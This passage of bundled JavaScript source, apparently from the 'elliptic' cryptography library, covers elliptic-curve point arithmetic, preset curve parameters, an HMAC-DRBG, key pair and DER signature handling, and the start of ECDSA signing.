jx2.redAdd(jx2).redIAdd(jx2).redIAdd(a.redMul(jz4));\n\n var t1 = jx.redMul(jyd2);\n var nx = c.redSqr().redISub(t1.redAdd(t1));\n var t2 = t1.redISub(nx);\n var dny = c.redMul(t2);\n dny = dny.redIAdd(dny).redISub(jyd4);\n var nz = jyd.redMul(jz);\n if (i + 1 < pow)\n jz4 = jz4.redMul(jyd4);\n\n jx = nx;\n jz = nz;\n jyd = dny;\n }\n\n return this.curve.jpoint(jx, jyd.redMul(tinv), jz);\n};\n\nJPoint.prototype.dbl = function dbl() {\n if (this.isInfinity())\n return this;\n\n if (this.curve.zeroA)\n return this._zeroDbl();\n else if (this.curve.threeA)\n return this._threeDbl();\n else\n return this._dbl();\n};\n\nJPoint.prototype._zeroDbl = function _zeroDbl() {\n var nx;\n var ny;\n var nz;\n // Z = 1\n if (this.zOne) {\n // hyperelliptic.org/EFD/g1p/auto-shortw-jacobian-0.html\n // #doubling-mdbl-2007-bl\n // 1M + 5S + 14A\n\n // XX = X1^2\n var xx = this.x.redSqr();\n // YY = Y1^2\n var yy = this.y.redSqr();\n // YYYY = YY^2\n var yyyy = yy.redSqr();\n // S = 2 * ((X1 + YY)^2 - XX - YYYY)\n var s = this.x.redAdd(yy).redSqr().redISub(xx).redISub(yyyy);\n s = s.redIAdd(s);\n // M = 3 * XX + a; a = 0\n var m = xx.redAdd(xx).redIAdd(xx);\n // T = M ^ 2 - 2*S\n var t = m.redSqr().redISub(s).redISub(s);\n\n // 8 * YYYY\n var yyyy8 = yyyy.redIAdd(yyyy);\n yyyy8 = yyyy8.redIAdd(yyyy8);\n yyyy8 = yyyy8.redIAdd(yyyy8);\n\n // X3 = T\n nx = t;\n // Y3 = M * (S - T) - 8 * YYYY\n ny = m.redMul(s.redISub(t)).redISub(yyyy8);\n // Z3 = 2*Y1\n nz = this.y.redAdd(this.y);\n } else {\n // hyperelliptic.org/EFD/g1p/auto-shortw-jacobian-0.html\n // #doubling-dbl-2009-l\n // 2M + 5S + 13A\n\n // A = X1^2\n var a = this.x.redSqr();\n // B = Y1^2\n var b = this.y.redSqr();\n // C = B^2\n var c = b.redSqr();\n // D = 2 * ((X1 + B)^2 - A - C)\n var d = this.x.redAdd(b).redSqr().redISub(a).redISub(c);\n d = d.redIAdd(d);\n // E = 3 * A\n var e = a.redAdd(a).redIAdd(a);\n // F = E^2\n var f = e.redSqr();\n\n // 8 * C\n var c8 = c.redIAdd(c);\n c8 = c8.redIAdd(c8);\n c8 = c8.redIAdd(c8);\n\n // X3 = F - 2 * D\n nx = f.redISub(d).redISub(d);\n // Y3 = E * (D - X3) - 8 * C\n ny = e.redMul(d.redISub(nx)).redISub(c8);\n // Z3 = 2 * Y1 * Z1\n nz = this.y.redMul(this.z);\n nz = nz.redIAdd(nz);\n }\n\n return this.curve.jpoint(nx, ny, nz);\n};\n\nJPoint.prototype._threeDbl = function _threeDbl() {\n var nx;\n var ny;\n var nz;\n // Z = 1\n if (this.zOne) {\n // hyperelliptic.org/EFD/g1p/auto-shortw-jacobian-3.html\n // #doubling-mdbl-2007-bl\n // 1M + 5S + 15A\n\n // XX = X1^2\n var xx = this.x.redSqr();\n // YY = Y1^2\n var yy = this.y.redSqr();\n // YYYY = YY^2\n var yyyy = yy.redSqr();\n // S = 2 * ((X1 + YY)^2 - XX - YYYY)\n var s = this.x.redAdd(yy).redSqr().redISub(xx).redISub(yyyy);\n s = s.redIAdd(s);\n // M = 3 * XX + a\n var m = xx.redAdd(xx).redIAdd(xx).redIAdd(this.curve.a);\n // T = M^2 - 2 * S\n var t = m.redSqr().redISub(s).redISub(s);\n // X3 = T\n nx = t;\n // Y3 = M * (S - T) - 8 * YYYY\n var yyyy8 = yyyy.redIAdd(yyyy);\n yyyy8 = yyyy8.redIAdd(yyyy8);\n yyyy8 = yyyy8.redIAdd(yyyy8);\n ny = m.redMul(s.redISub(t)).redISub(yyyy8);\n // Z3 = 2 * Y1\n nz = this.y.redAdd(this.y);\n } else {\n // hyperelliptic.org/EFD/g1p/auto-shortw-jacobian-3.html#doubling-dbl-2001-b\n // 3M + 5S\n\n // delta = Z1^2\n var delta = this.z.redSqr();\n // gamma = Y1^2\n var gamma = this.y.redSqr();\n // beta = X1 * gamma\n var beta = this.x.redMul(gamma);\n // alpha = 3 * (X1 - delta) * (X1 + delta)\n var alpha = this.x.redSub(delta).redMul(this.x.redAdd(delta));\n alpha = alpha.redAdd(alpha).redIAdd(alpha);\n // X3 = alpha^2 - 8 * beta\n var beta4 = beta.redIAdd(beta);\n beta4 = beta4.redIAdd(beta4);\n var beta8 = beta4.redAdd(beta4);\n nx = alpha.redSqr().redISub(beta8);\n // Z3 = (Y1 + Z1)^2 - gamma - delta\n nz = this.y.redAdd(this.z).redSqr().redISub(gamma).redISub(delta);\n // Y3 = alpha * (4 * beta - X3) - 8 * gamma^2\n var ggamma8 = gamma.redSqr();\n ggamma8 = ggamma8.redIAdd(ggamma8);\n ggamma8 = ggamma8.redIAdd(ggamma8);\n ggamma8 = ggamma8.redIAdd(ggamma8);\n ny = alpha.redMul(beta4.redISub(nx)).redISub(ggamma8);\n }\n\n return this.curve.jpoint(nx, ny, nz);\n};\n\nJPoint.prototype._dbl = function _dbl() {\n var a = this.curve.a;\n\n // 4M + 6S + 10A\n var jx = this.x;\n var jy = this.y;\n var jz = this.z;\n var jz4 = jz.redSqr().redSqr();\n\n var jx2 = jx.redSqr();\n var jy2 = jy.redSqr();\n\n var c = jx2.redAdd(jx2).redIAdd(jx2).redIAdd(a.redMul(jz4));\n\n var jxd4 = jx.redAdd(jx);\n jxd4 = jxd4.redIAdd(jxd4);\n var t1 = jxd4.redMul(jy2);\n var nx = c.redSqr().redISub(t1.redAdd(t1));\n var t2 = t1.redISub(nx);\n\n var jyd8 = jy2.redSqr();\n jyd8 = jyd8.redIAdd(jyd8);\n jyd8 = jyd8.redIAdd(jyd8);\n jyd8 = jyd8.redIAdd(jyd8);\n var ny = c.redMul(t2).redISub(jyd8);\n var nz = jy.redAdd(jy).redMul(jz);\n\n return this.curve.jpoint(nx, ny, nz);\n};\n\nJPoint.prototype.trpl = function trpl() {\n if (!this.curve.zeroA)\n return this.dbl().add(this);\n\n // hyperelliptic.org/EFD/g1p/auto-shortw-jacobian-0.html#tripling-tpl-2007-bl\n // 5M + 10S + ...\n\n // XX = X1^2\n var xx = this.x.redSqr();\n // YY = Y1^2\n var yy = this.y.redSqr();\n // ZZ = Z1^2\n var zz = this.z.redSqr();\n // YYYY = YY^2\n var yyyy = yy.redSqr();\n // M = 3 * XX + a * ZZ2; a = 0\n var m = xx.redAdd(xx).redIAdd(xx);\n // MM = M^2\n var mm = m.redSqr();\n // E = 6 * ((X1 + YY)^2 - XX - YYYY) - MM\n var e = this.x.redAdd(yy).redSqr().redISub(xx).redISub(yyyy);\n e = e.redIAdd(e);\n e = e.redAdd(e).redIAdd(e);\n e = e.redISub(mm);\n // EE = E^2\n var ee = e.redSqr();\n // T = 16*YYYY\n var t = yyyy.redIAdd(yyyy);\n t = t.redIAdd(t);\n t = t.redIAdd(t);\n t = t.redIAdd(t);\n // U = (M + E)^2 - MM - EE - T\n var u = m.redIAdd(e).redSqr().redISub(mm).redISub(ee).redISub(t);\n // X3 = 4 * (X1 * EE - 4 * YY * U)\n var yyu4 = yy.redMul(u);\n yyu4 = yyu4.redIAdd(yyu4);\n yyu4 = yyu4.redIAdd(yyu4);\n var nx = this.x.redMul(ee).redISub(yyu4);\n nx = nx.redIAdd(nx);\n nx = nx.redIAdd(nx);\n // Y3 = 8 * Y1 * (U * (T - U) - E * EE)\n var ny = this.y.redMul(u.redMul(t.redISub(u)).redISub(e.redMul(ee)));\n ny = ny.redIAdd(ny);\n ny = ny.redIAdd(ny);\n ny = ny.redIAdd(ny);\n // Z3 = (Z1 + E)^2 - ZZ - EE\n var nz = this.z.redAdd(e).redSqr().redISub(zz).redISub(ee);\n\n return this.curve.jpoint(nx, ny, nz);\n};\n\nJPoint.prototype.mul = function mul(k, kbase) {\n k = new BN(k, kbase);\n\n return this.curve._wnafMul(this, k);\n};\n\nJPoint.prototype.eq = function eq(p) {\n if (p.type === 'affine')\n return this.eq(p.toJ());\n\n if (this === p)\n return true;\n\n // x1 * z2^2 == x2 * z1^2\n var z2 = this.z.redSqr();\n var pz2 = p.z.redSqr();\n if (this.x.redMul(pz2).redISub(p.x.redMul(z2)).cmpn(0) !== 0)\n return false;\n\n // y1 * z2^3 == y2 * z1^3\n var z3 = z2.redMul(this.z);\n var pz3 = pz2.redMul(p.z);\n return this.y.redMul(pz3).redISub(p.y.redMul(z3)).cmpn(0) === 0;\n};\n\nJPoint.prototype.eqXToP = function eqXToP(x) {\n var zs = this.z.redSqr();\n var rx = x.toRed(this.curve.red).redMul(zs);\n if (this.x.cmp(rx) === 0)\n return true;\n\n var xc = x.clone();\n var t = this.curve.redN.redMul(zs);\n for (;;) {\n xc.iadd(this.curve.n);\n if (xc.cmp(this.curve.p) >= 0)\n return false;\n\n rx.redIAdd(t);\n if (this.x.cmp(rx) === 0)\n return true;\n }\n};\n\nJPoint.prototype.inspect = function inspect() {\n if (this.isInfinity())\n return '';\n return '';\n};\n\nJPoint.prototype.isInfinity = function isInfinity() {\n // XXX This code assumes that zero is always zero in red\n return this.z.cmpn(0) === 0;\n};\n", "'use strict';\n\nvar curve = exports;\n\ncurve.base = require('./base');\ncurve.short = require('./short');\ncurve.mont = require('./mont');\ncurve.edwards = require('./edwards');\n", "'use strict';\n\nvar curves = exports;\n\nvar hash = require('hash.js');\nvar curve = require('./curve');\nvar utils = require('./utils');\n\nvar assert = utils.assert;\n\nfunction PresetCurve(options) {\n if (options.type === 'short')\n this.curve = new curve.short(options);\n else if (options.type === 'edwards')\n this.curve = new curve.edwards(options);\n else\n this.curve = new curve.mont(options);\n this.g = this.curve.g;\n this.n = this.curve.n;\n this.hash = options.hash;\n\n assert(this.g.validate(), 'Invalid curve');\n assert(this.g.mul(this.n).isInfinity(), 'Invalid curve, G*N != O');\n}\ncurves.PresetCurve = PresetCurve;\n\nfunction defineCurve(name, options) {\n Object.defineProperty(curves, name, {\n configurable: true,\n enumerable: true,\n get: function() {\n var curve = new PresetCurve(options);\n Object.defineProperty(curves, name, {\n configurable: true,\n enumerable: true,\n value: curve,\n });\n return curve;\n },\n });\n}\n\ndefineCurve('p192', {\n type: 'short',\n prime: 'p192',\n p: 'ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff',\n a: 'ffffffff ffffffff ffffffff fffffffe ffffffff fffffffc',\n b: '64210519 e59c80e7 0fa7e9ab 72243049 feb8deec c146b9b1',\n n: 'ffffffff ffffffff ffffffff 99def836 146bc9b1 b4d22831',\n hash: hash.sha256,\n gRed: false,\n g: [\n '188da80e b03090f6 7cbf20eb 43a18800 f4ff0afd 82ff1012',\n '07192b95 ffc8da78 631011ed 6b24cdd5 73f977a1 1e794811',\n ],\n});\n\ndefineCurve('p224', {\n type: 'short',\n prime: 'p224',\n p: 'ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001',\n a: 'ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff fffffffe',\n b: 'b4050a85 0c04b3ab f5413256 5044b0b7 d7bfd8ba 270b3943 2355ffb4',\n n: 'ffffffff ffffffff ffffffff ffff16a2 e0b8f03e 13dd2945 5c5c2a3d',\n hash: hash.sha256,\n gRed: false,\n g: [\n 'b70e0cbd 6bb4bf7f 321390b9 4a03c1d3 56c21122 343280d6 115c1d21',\n 'bd376388 b5f723fb 4c22dfe6 cd4375a0 5a074764 44d58199 85007e34',\n ],\n});\n\ndefineCurve('p256', {\n type: 'short',\n prime: null,\n p: 'ffffffff 00000001 00000000 00000000 00000000 ffffffff ffffffff ffffffff',\n a: 'ffffffff 00000001 00000000 00000000 00000000 ffffffff ffffffff fffffffc',\n b: '5ac635d8 aa3a93e7 b3ebbd55 769886bc 651d06b0 cc53b0f6 3bce3c3e 27d2604b',\n n: 'ffffffff 00000000 ffffffff ffffffff bce6faad a7179e84 f3b9cac2 fc632551',\n hash: hash.sha256,\n gRed: false,\n g: [\n '6b17d1f2 e12c4247 f8bce6e5 63a440f2 77037d81 2deb33a0 f4a13945 d898c296',\n '4fe342e2 fe1a7f9b 8ee7eb4a 7c0f9e16 2bce3357 6b315ece cbb64068 37bf51f5',\n ],\n});\n\ndefineCurve('p384', {\n type: 'short',\n prime: null,\n p: 'ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ' +\n 'fffffffe ffffffff 00000000 00000000 ffffffff',\n a: 'ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ' +\n 'fffffffe ffffffff 00000000 00000000 fffffffc',\n b: 'b3312fa7 e23ee7e4 988e056b e3f82d19 181d9c6e fe814112 0314088f ' +\n '5013875a c656398d 8a2ed19d 2a85c8ed d3ec2aef',\n n: 'ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff c7634d81 ' +\n 'f4372ddf 581a0db2 48b0a77a ecec196a ccc52973',\n hash: hash.sha384,\n gRed: false,\n g: [\n 'aa87ca22 be8b0537 8eb1c71e f320ad74 6e1d3b62 8ba79b98 59f741e0 82542a38 ' +\n '5502f25d bf55296c 3a545e38 72760ab7',\n '3617de4a 96262c6f 5d9e98bf 9292dc29 f8f41dbd 289a147c e9da3113 b5f0b8c0 ' +\n '0a60b1ce 1d7e819d 7a431d7c 90ea0e5f',\n ],\n});\n\ndefineCurve('p521', {\n type: 'short',\n prime: null,\n p: '000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ' +\n 'ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ' +\n 'ffffffff ffffffff ffffffff ffffffff ffffffff',\n a: '000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ' +\n 'ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ' +\n 'ffffffff ffffffff ffffffff ffffffff fffffffc',\n b: '00000051 953eb961 8e1c9a1f 929a21a0 b68540ee a2da725b ' +\n '99b315f3 b8b48991 8ef109e1 56193951 ec7e937b 1652c0bd ' +\n '3bb1bf07 3573df88 3d2c34f1 ef451fd4 6b503f00',\n n: '000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ' +\n 'ffffffff ffffffff fffffffa 51868783 bf2f966b 7fcc0148 ' +\n 'f709a5d0 3bb5c9b8 899c47ae bb6fb71e 91386409',\n hash: hash.sha512,\n gRed: false,\n g: [\n '000000c6 858e06b7 0404e9cd 9e3ecb66 2395b442 9c648139 ' +\n '053fb521 f828af60 6b4d3dba a14b5e77 efe75928 fe1dc127 ' +\n 'a2ffa8de 3348b3c1 856a429b f97e7e31 c2e5bd66',\n '00000118 39296a78 9a3bc004 5c8a5fb4 2c7d1bd9 98f54449 ' +\n '579b4468 17afbd17 273e662c 97ee7299 5ef42640 c550b901 ' +\n '3fad0761 353c7086 a272c240 88be9476 9fd16650',\n ],\n});\n\ndefineCurve('curve25519', {\n type: 'mont',\n prime: 'p25519',\n p: '7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed',\n a: '76d06',\n b: '1',\n n: '1000000000000000 0000000000000000 14def9dea2f79cd6 5812631a5cf5d3ed',\n hash: hash.sha256,\n gRed: false,\n g: [\n '9',\n ],\n});\n\ndefineCurve('ed25519', {\n type: 'edwards',\n prime: 'p25519',\n p: '7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed',\n a: '-1',\n c: '1',\n // -121665 * (121666^(-1)) (mod P)\n d: '52036cee2b6ffe73 8cc740797779e898 00700a4d4141d8ab 75eb4dca135978a3',\n n: '1000000000000000 0000000000000000 14def9dea2f79cd6 5812631a5cf5d3ed',\n hash: hash.sha256,\n gRed: false,\n g: [\n '216936d3cd6e53fec0a4e231fdd6dc5c692cc7609525a7b2c9562d608f25d51a',\n\n // 4/5\n '6666666666666666666666666666666666666666666666666666666666666658',\n ],\n});\n\nvar pre;\ntry {\n pre = require('./precomputed/secp256k1');\n} catch (e) {\n pre = undefined;\n}\n\ndefineCurve('secp256k1', {\n type: 'short',\n prime: 'k256',\n p: 'ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f',\n a: '0',\n b: '7',\n n: 'ffffffff ffffffff ffffffff fffffffe baaedce6 af48a03b bfd25e8c d0364141',\n h: '1',\n hash: hash.sha256,\n\n // Precomputed endomorphism\n beta: '7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee',\n lambda: '5363ad4cc05c30e0a5261c028812645a122e22ea20816678df02967c1b23bd72',\n basis: [\n {\n a: '3086d221a7d46bcde86c90e49284eb15',\n b: '-e4437ed6010e88286f547fa90abfe4c3',\n },\n {\n a: '114ca50f7a8e2f3f657c1108d9d44cfd8',\n b: '3086d221a7d46bcde86c90e49284eb15',\n },\n ],\n\n gRed: false,\n g: [\n '79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798',\n '483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8',\n pre,\n ],\n});\n", "'use strict';\n\nvar hash = require('hash.js');\nvar utils = require('minimalistic-crypto-utils');\nvar assert = require('minimalistic-assert');\n\nfunction HmacDRBG(options) {\n if (!(this instanceof HmacDRBG))\n return new HmacDRBG(options);\n this.hash = options.hash;\n this.predResist = !!options.predResist;\n\n this.outLen = this.hash.outSize;\n this.minEntropy = options.minEntropy || this.hash.hmacStrength;\n\n this._reseed = null;\n this.reseedInterval = null;\n this.K = null;\n this.V = null;\n\n var entropy = utils.toArray(options.entropy, options.entropyEnc || 'hex');\n var nonce = utils.toArray(options.nonce, options.nonceEnc || 'hex');\n var pers = utils.toArray(options.pers, options.persEnc || 'hex');\n assert(entropy.length >= (this.minEntropy / 8),\n 'Not enough entropy. Minimum is: ' + this.minEntropy + ' bits');\n this._init(entropy, nonce, pers);\n}\nmodule.exports = HmacDRBG;\n\nHmacDRBG.prototype._init = function init(entropy, nonce, pers) {\n var seed = entropy.concat(nonce).concat(pers);\n\n this.K = new Array(this.outLen / 8);\n this.V = new Array(this.outLen / 8);\n for (var i = 0; i < this.V.length; i++) {\n this.K[i] = 0x00;\n this.V[i] = 0x01;\n }\n\n this._update(seed);\n this._reseed = 1;\n this.reseedInterval = 0x1000000000000; // 2^48\n};\n\nHmacDRBG.prototype._hmac = function hmac() {\n return new hash.hmac(this.hash, this.K);\n};\n\nHmacDRBG.prototype._update = function update(seed) {\n var kmac = this._hmac()\n .update(this.V)\n .update([ 0x00 ]);\n if (seed)\n kmac = kmac.update(seed);\n this.K = kmac.digest();\n this.V = this._hmac().update(this.V).digest();\n if (!seed)\n return;\n\n this.K = this._hmac()\n .update(this.V)\n .update([ 0x01 ])\n .update(seed)\n .digest();\n this.V = this._hmac().update(this.V).digest();\n};\n\nHmacDRBG.prototype.reseed = function reseed(entropy, entropyEnc, add, addEnc) {\n // Optional entropy enc\n if (typeof entropyEnc !== 'string') {\n addEnc = add;\n add = entropyEnc;\n entropyEnc = null;\n }\n\n entropy = utils.toArray(entropy, entropyEnc);\n add = utils.toArray(add, addEnc);\n\n assert(entropy.length >= (this.minEntropy / 8),\n 'Not enough entropy. Minimum is: ' + this.minEntropy + ' bits');\n\n this._update(entropy.concat(add || []));\n this._reseed = 1;\n};\n\nHmacDRBG.prototype.generate = function generate(len, enc, add, addEnc) {\n if (this._reseed > this.reseedInterval)\n throw new Error('Reseed is required');\n\n // Optional encoding\n if (typeof enc !== 'string') {\n addEnc = add;\n add = enc;\n enc = null;\n }\n\n // Optional additional data\n if (add) {\n add = utils.toArray(add, addEnc || 'hex');\n this._update(add);\n }\n\n var temp = [];\n while (temp.length < len) {\n this.V = this._hmac().update(this.V).digest();\n temp = temp.concat(this.V);\n }\n\n var res = temp.slice(0, len);\n this._update(add);\n this._reseed++;\n return utils.encode(res, enc);\n};\n", "'use strict';\n\nvar BN = require('bn.js');\nvar utils = require('../utils');\nvar assert = utils.assert;\n\nfunction KeyPair(ec, options) {\n this.ec = ec;\n this.priv = null;\n this.pub = null;\n\n // KeyPair(ec, { priv: ..., pub: ... })\n if (options.priv)\n this._importPrivate(options.priv, options.privEnc);\n if (options.pub)\n this._importPublic(options.pub, options.pubEnc);\n}\nmodule.exports = KeyPair;\n\nKeyPair.fromPublic = function fromPublic(ec, pub, enc) {\n if (pub instanceof KeyPair)\n return pub;\n\n return new KeyPair(ec, {\n pub: pub,\n pubEnc: enc,\n });\n};\n\nKeyPair.fromPrivate = function fromPrivate(ec, priv, enc) {\n if (priv instanceof KeyPair)\n return priv;\n\n return new KeyPair(ec, {\n priv: priv,\n privEnc: enc,\n });\n};\n\nKeyPair.prototype.validate = function validate() {\n var pub = this.getPublic();\n\n if (pub.isInfinity())\n return { result: false, reason: 'Invalid public key' };\n if (!pub.validate())\n return { result: false, reason: 'Public key is not a point' };\n if (!pub.mul(this.ec.curve.n).isInfinity())\n return { result: false, reason: 'Public key * N != O' };\n\n return { result: true, reason: null };\n};\n\nKeyPair.prototype.getPublic = function getPublic(compact, enc) {\n // compact is optional argument\n if (typeof compact === 'string') {\n enc = compact;\n compact = null;\n }\n\n if (!this.pub)\n this.pub = this.ec.g.mul(this.priv);\n\n if (!enc)\n return this.pub;\n\n return this.pub.encode(enc, compact);\n};\n\nKeyPair.prototype.getPrivate = function getPrivate(enc) {\n if (enc === 'hex')\n return this.priv.toString(16, 2);\n else\n return this.priv;\n};\n\nKeyPair.prototype._importPrivate = function _importPrivate(key, enc) {\n this.priv = new BN(key, enc || 16);\n\n // Ensure that the priv won't be bigger than n, otherwise we may fail\n // in fixed multiplication method\n this.priv = this.priv.umod(this.ec.curve.n);\n};\n\nKeyPair.prototype._importPublic = function _importPublic(key, enc) {\n if (key.x || key.y) {\n // Montgomery points only have an `x` coordinate.\n // Weierstrass/Edwards points on the other hand have both `x` and\n // `y` coordinates.\n if (this.ec.curve.type === 'mont') {\n assert(key.x, 'Need x coordinate');\n } else if (this.ec.curve.type === 'short' ||\n this.ec.curve.type === 'edwards') {\n assert(key.x && key.y, 'Need both x and y coordinate');\n }\n this.pub = this.ec.curve.point(key.x, key.y);\n return;\n }\n this.pub = this.ec.curve.decodePoint(key, enc);\n};\n\n// ECDH\nKeyPair.prototype.derive = function derive(pub) {\n if(!pub.validate()) {\n assert(pub.validate(), 'public point not validated');\n }\n return pub.mul(this.priv).getX();\n};\n\n// ECDSA\nKeyPair.prototype.sign = function sign(msg, enc, options) {\n return this.ec.sign(msg, this, enc, options);\n};\n\nKeyPair.prototype.verify = function verify(msg, signature) {\n return this.ec.verify(msg, signature, this);\n};\n\nKeyPair.prototype.inspect = function inspect() {\n return '';\n};\n", "'use strict';\n\nvar BN = require('bn.js');\n\nvar utils = require('../utils');\nvar assert = utils.assert;\n\nfunction Signature(options, enc) {\n if (options instanceof Signature)\n return options;\n\n if (this._importDER(options, enc))\n return;\n\n assert(options.r && options.s, 'Signature without r or s');\n this.r = new BN(options.r, 16);\n this.s = new BN(options.s, 16);\n if (options.recoveryParam === undefined)\n this.recoveryParam = null;\n else\n this.recoveryParam = options.recoveryParam;\n}\nmodule.exports = Signature;\n\nfunction Position() {\n this.place = 0;\n}\n\nfunction getLength(buf, p) {\n var initial = buf[p.place++];\n if (!(initial & 0x80)) {\n return initial;\n }\n var octetLen = initial & 0xf;\n\n // Indefinite length or overflow\n if (octetLen === 0 || octetLen > 4) {\n return false;\n }\n\n var val = 0;\n for (var i = 0, off = p.place; i < octetLen; i++, off++) {\n val <<= 8;\n val |= buf[off];\n val >>>= 0;\n }\n\n // Leading zeroes\n if (val <= 0x7f) {\n return false;\n }\n\n p.place = off;\n return val;\n}\n\nfunction rmPadding(buf) {\n var i = 0;\n var len = buf.length - 1;\n while (!buf[i] && !(buf[i + 1] & 0x80) && i < len) {\n i++;\n }\n if (i === 0) {\n return buf;\n }\n return buf.slice(i);\n}\n\nSignature.prototype._importDER = function _importDER(data, enc) {\n data = utils.toArray(data, enc);\n var p = new Position();\n if (data[p.place++] !== 0x30) {\n return false;\n }\n var len = getLength(data, p);\n if (len === false) {\n return false;\n }\n if ((len + p.place) !== data.length) {\n return false;\n }\n if (data[p.place++] !== 0x02) {\n return false;\n }\n var rlen = getLength(data, p);\n if (rlen === false) {\n return false;\n }\n var r = data.slice(p.place, rlen + p.place);\n p.place += rlen;\n if (data[p.place++] !== 0x02) {\n return false;\n }\n var slen = getLength(data, p);\n if (slen === false) {\n return false;\n }\n if (data.length !== slen + p.place) {\n return false;\n }\n var s = data.slice(p.place, slen + p.place);\n if (r[0] === 0) {\n if (r[1] & 0x80) {\n r = r.slice(1);\n } else {\n // Leading zeroes\n return false;\n }\n }\n if (s[0] === 0) {\n if (s[1] & 0x80) {\n s = s.slice(1);\n } else {\n // Leading zeroes\n return false;\n }\n }\n\n this.r = new BN(r);\n this.s = new BN(s);\n this.recoveryParam = null;\n\n return true;\n};\n\nfunction constructLength(arr, len) {\n if (len < 0x80) {\n arr.push(len);\n return;\n }\n var octets = 1 + (Math.log(len) / Math.LN2 >>> 3);\n arr.push(octets | 0x80);\n while (--octets) {\n arr.push((len >>> (octets << 3)) & 0xff);\n }\n arr.push(len);\n}\n\nSignature.prototype.toDER = function toDER(enc) {\n var r = this.r.toArray();\n var s = this.s.toArray();\n\n // Pad values\n if (r[0] & 0x80)\n r = [ 0 ].concat(r);\n // Pad values\n if (s[0] & 0x80)\n s = [ 0 ].concat(s);\n\n r = rmPadding(r);\n s = rmPadding(s);\n\n while (!s[0] && !(s[1] & 0x80)) {\n s = s.slice(1);\n }\n var arr = [ 0x02 ];\n constructLength(arr, r.length);\n arr = arr.concat(r);\n arr.push(0x02);\n constructLength(arr, s.length);\n var backHalf = arr.concat(s);\n var res = [ 0x30 ];\n constructLength(res, backHalf.length);\n res = res.concat(backHalf);\n return utils.encode(res, enc);\n};\n", "'use strict';\n\nvar BN = require('bn.js');\nvar HmacDRBG = require('hmac-drbg');\nvar utils = require('../utils');\nvar curves = require('../curves');\nvar rand = require('brorand');\nvar assert = utils.assert;\n\nvar KeyPair = require('./key');\nvar Signature = require('./signature');\n\nfunction EC(options) {\n if (!(this instanceof EC))\n return new EC(options);\n\n // Shortcut `elliptic.ec(curve-name)`\n if (typeof options === 'string') {\n assert(Object.prototype.hasOwnProperty.call(curves, options),\n 'Unknown curve ' + options);\n\n options = curves[options];\n }\n\n // Shortcut for `elliptic.ec(elliptic.curves.curveName)`\n if (options instanceof curves.PresetCurve)\n options = { curve: options };\n\n this.curve = options.curve.curve;\n this.n = this.curve.n;\n this.nh = this.n.ushrn(1);\n this.g = this.curve.g;\n\n // Point on curve\n this.g = options.curve.g;\n this.g.precompute(options.curve.n.bitLength() + 1);\n\n // Hash for function for DRBG\n this.hash = options.hash || options.curve.hash;\n}\nmodule.exports = EC;\n\nEC.prototype.keyPair = function keyPair(options) {\n return new KeyPair(this, options);\n};\n\nEC.prototype.keyFromPrivate = function keyFromPrivate(priv, enc) {\n return KeyPair.fromPrivate(this, priv, enc);\n};\n\nEC.prototype.keyFromPublic = function keyFromPublic(pub, enc) {\n return KeyPair.fromPublic(this, pub, enc);\n};\n\nEC.prototype.genKeyPair = function genKeyPair(options) {\n if (!options)\n options = {};\n\n // Instantiate Hmac_DRBG\n var drbg = new HmacDRBG({\n hash: this.hash,\n pers: options.pers,\n persEnc: options.persEnc || 'utf8',\n entropy: options.entropy || rand(this.hash.hmacStrength),\n entropyEnc: options.entropy && options.entropyEnc || 'utf8',\n nonce: this.n.toArray(),\n });\n\n var bytes = this.n.byteLength();\n var ns2 = this.n.sub(new BN(2));\n for (;;) {\n var priv = new BN(drbg.generate(bytes));\n if (priv.cmp(ns2) > 0)\n continue;\n\n priv.iaddn(1);\n return this.keyFromPrivate(priv);\n }\n};\n\nEC.prototype._truncateToN = function _truncateToN(msg, truncOnly) {\n var delta = msg.byteLength() * 8 - this.n.bitLength();\n if (delta > 0)\n msg = msg.ushrn(delta);\n if (!truncOnly && msg.cmp(this.n) >= 0)\n return msg.sub(this.n);\n else\n return msg;\n};\n\nEC.prototype.sign = function sign(msg, key, enc, options) {\n if (typeof enc === 'object') {\n options = enc;\n enc = null;\n }\n if (!options)\n options = {};\n\n key = this.keyFromPrivate(key, enc);\n msg = this._truncateToN(new BN(msg, 16));\n\n // Zero-extend key to provide enough entropy\n var bytes = this.n.byteLength();\n var bkey = key.getPrivate().toArray('be', bytes);\n\n // Zero-extend nonce to have the same byte size as N\n var nonce = msg.toArray('be', bytes);\n\n // Instantiate Hmac_DRBG\n var drbg = new HmacDRBG({\n hash: this.hash,\n entropy: bkey,\n nonce: nonce,\n pers: options.pers,\n persEnc: options.persEnc || 'utf8',\n });\n\n // Number of bytes to generate\n var ns1 = this.n.sub(new BN(1));\n\n for (var iter = 0; ; iter++) {\n var k = options.k ?\n options.k(iter) :\n new BN(drbg.generate(this.n.byteLength()));\n k = this._truncateToN(k, true);\n if (k.cmpn(1) <= 0 || k.cmp(ns1) >= 0)\n continue;\n\n var kp = this.g.mul(k);\n if (kp.isInfinity())\n continue;\n\n var kpX = kp.getX();\n var r = kpX.umod(this.n);\n if (r.cmpn(0) === 0)\n continue;\n\n var s = k.invm(this.n).mul(r.mul(key.getPrivate()).iadd(msg));\n s = s.umod(this.n);\n if (s.cmpn(0) === 0)\n continue;\n\n var recoveryParam = (kp.getY().isOdd() ? 1 : 0) |\n (kpX.cmp(r) !== 0 ? 2 : 0);\n\n // Use complement of `s`, if it is > `n / 2`\n if (options.canonical && s.cmp(this.nh) > 0) {\n s = this.n.sub(s);\n recoveryParam ^= 1;\n }\n\n return new Signature({ r: r, s: s, recoveryParam: recoveryParam });\n }\n};\n\nEC.prototype.verify = function verify(msg, signature, key, enc) {\n 